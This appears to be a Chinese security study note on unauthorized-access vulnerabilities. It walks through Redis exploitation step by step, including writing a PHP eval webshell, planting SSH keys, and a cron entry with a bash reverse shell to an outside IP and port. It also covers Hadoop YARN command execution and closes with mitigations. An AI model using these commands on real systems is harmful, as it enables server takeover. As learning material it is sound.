未授权访问漏洞
未授权访问漏洞
概述
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无 需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
常见漏洞
Redis 未授权访问漏洞
Docker 未授权访问漏洞
MongoDB 未授权访问漏洞
Jenkins 未授权访问漏洞
Memcached 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
ZooKeeper 未授权访问漏洞
Rsync 未授权访问漏洞
Atlassian Crowd 未授权访问漏洞
CouchDB 未授权访问漏洞
Elasticsearch 未授权访问漏洞
Hadoop 未授权访问漏洞
Jupyter Notebook 未授权访问漏洞
redis 未授权访问漏洞
redis简介
https://www.redis.com.cn/redis-intro.html
一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列
主要应用场景:
- 缓存数据
- 高速读写
组成:
主要是由两个程序组成
Redis 客户端 redis-cli
Redis 服务器 redis-server
客户端、服务器可以位于同一台计算机或两台不同的计算机中。(分布式)
漏洞发现
端口
记住以下都是默认端口,有可能会出现更改的情况
6379
其他的默认端口
MongoDB:27017
Memcached:11211
Jboss:8080
VNC:5900、5901
claDocker:2375探测
使用nmap进行端口扫描
1
nmap -v -Pn -p 6379 -sV -IP
-v 显示过程
-Pn no ping
-sV 版本探测
为什么要no ping ?
因为大多数防火墙会拦截icmp(微软自带的,小皮等)
但是端口是在网络层(tcp,udp),icmp是网络层
其他
redis,mysql,postgresql一般都是监听在比本地
redis java程序一般都会使用,并且java程序一般都存在ssrf,内网存在大量的redis访问漏洞
利用方法
- redis 写webshell
- redis写定时任务 ***** 重要
- redis写ssh公钥
- redis 主从复制
漏洞利用
写webshell
对主机进行端口扫描
发现redis是连接上的
由于nmap一直出的结果不是很理想,尝试使用yakit进一步爆破
8080有一个apache服务尝试访问
尝试使用Redis连接
1
redis-cli -h 8.130.123.25
redis:
准备写webshell
1
2
3
4config set dir /var/www/html # 这个的局限性就是需要知道绝对路径,但是一般网站的绝对路径不是很好获取
config set dbfilename webshell.php # 这个是设置保存数据库的文件的路径
set a "<?php @eval($_POST['cmd']); ?>" # 写webshell
save 保存尝试访问
写入成功
缺点
- 可写权限的网站的绝对路径非常难找
- 一般只有java才有,需要jsp写入webshell
- redis 这台服务器没有web ******
写公钥
公私钥登录
生成公私钥 ssh-keygen
公钥存放在
id_rsa.pub
私钥存放在
id_rsa
安装公私钥
root文件:
/root/.ssh/authorized_keys
其他用户文件:
/home/user/.ssh/authorized_keys
注意
其实写公钥的意思就是说,将我们自己的公钥写入到他的
authorized_keys
利用过程
由于vps已经有windows的公钥,现在尝试使用kali
kali连接vps redis
kali生成 密钥,然后保存到文件
创建key-value
value为公钥
将value保存到authorized_keys
尝试登录
可以发现,虽然能连接上但是由于root用户存在密码就不能登录了
这个也是不经常用这个的原因
缺点
- 需要对redis flushall
- ssh 不一定允许root登录
- ssh 可能不对公网打开
- 服务器不一定有ssh 服务 ***重要
写计划任务(常用)
因为linux一定存在计划任务
一般的定时任务路径是在
/var/spoll/cron
/etc/crontab
其实思路都是一样的,就是实利用redis可以保存数据库数据为文件的这么一个操作,我们就可以以此来写很多东西
CONFIG SET dir /var/spool/cronkey
config set dbfilename root
set xxx “\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/124.71.45.28/4433 0>&1\n\n”
save
现在我们观察一下这个定时任务的格式是怎么样的
- 首先前后有两个换行符
- 然后有五颗星,分别代表了 分钟 小时 天 月 星期几 然后执行的命令
接下来我们来分析一下写redis的步骤
最后就是不要忘记了save
主从复制
动态链接库
windows : .dll
linux: .so
回顾一个知识点
php 的代码执行函数
1 |
|
如果遇到了函数
1 |
|
这个函数的作用是禁用某个函数
有一个问题如何绕过它
没有禁用全的话,可以尝试利用
创建一个新的函数
就是使用.so .dll
把php打爆 uaf漏洞
把Linux打爆 bash脱壳
回过头来说,现在Redis没有可以执行的函数,现在这么办呢?
接下来的操作会使用到脚本
https://github.com/puckiestyle/RedisModules-ExecuteCommand
https://github.com/Ridter/redis-rce
https://github.com/Dliv3/redis-rogue-server
https://github.com/vulhub/redis-rogue-getshell
https://github.com/0671/RabR
我使用的是最后一个
1 |
|
这个脚本的功能就是将我们的动态链接库生成到对应的Redis主机,相当于帮他创建了一个执行任意代码的函数
原理
简单理解为,我们创建一个动态来链接库文件,之后通过redis的主从复制功能将其下载下来然后架并且加载这个动态链接库,这个动态链接库的内容就是一个命令执行函数,所以我们可以反弹回shell
总结
redis的利用有四种方法
获取webshell
这个需要有写权限,对于windows来说马,你还必须知道这个服务的绝对路径
写公钥
我个人认为直接覆盖这个文件,是有很大的弊端
定时任务
可能不能正常返回,高版本下直接回禁用config set
主从复制
记住windwos主要使用的方法
Hadoop未授权访问
这个是一个开源的分布式的计算框架,用于处理大规模数据和存储问题
1.0 Hadoop 教程 | 菜鸟教程 (runoob.com)
漏洞成因
Hadoop YARN(Yet Another Resource Negotiator)用于集群资源管理和作业调度,是Hadoop集群的资源管理系统。
YARN 提供有默认开放在8088和8090的REST API(默认8088)允许用户直接通过API进行相关的应 用创建、任务提交执行等操作,如果配置不当可导致未授权访问的问题,攻击者无需认证即可通过 REST API部署任务来执行任意指令,最终完全控制服务器。
总结来说,这个配置文件如果开发者不开的话,可能就无法访问了,但是有些开发者偏要开,那就是为了不让我们失业
漏洞环境
1 |
|
漏洞复现
利用脚本
1 |
|
注意这个攻击机得监听着,不然反弹不了shell
接下来我们来实操一下
启动一下docker
然后执行上面的代码就可以了
原理:
- 调用 New Application API 创建 Application
1 |
|
调用 Submit Application API 提交命令
漏洞发现
fofa
app=”APACHE-hadoop-YARN”
POST请求
向 http://ip:port/ws/v1/cluster/apps/new-application 发送POST请求,如果响应返回 application-id,则表明存在漏洞
漏洞修复
其实可以看得出来,我们只要对某些地区做好了身份验证就可以避免对大多数的事故了
- 如无必要,关闭 Hadoop Web 管理页面。
- 开启身份验证,没有授权的用户禁止访问
- 可以设置安全组,只有受信任的Ip才能访问某一些api
总结
对于这个漏洞,我们不难看出很多安全事故都是由于没有对相应的api做授权管理。现在前后端的开发模式,偏向api调用,就是后端写好了api前端调用然后获取对应的数据。
只需要对api 做身份认证就可以防止未授权访问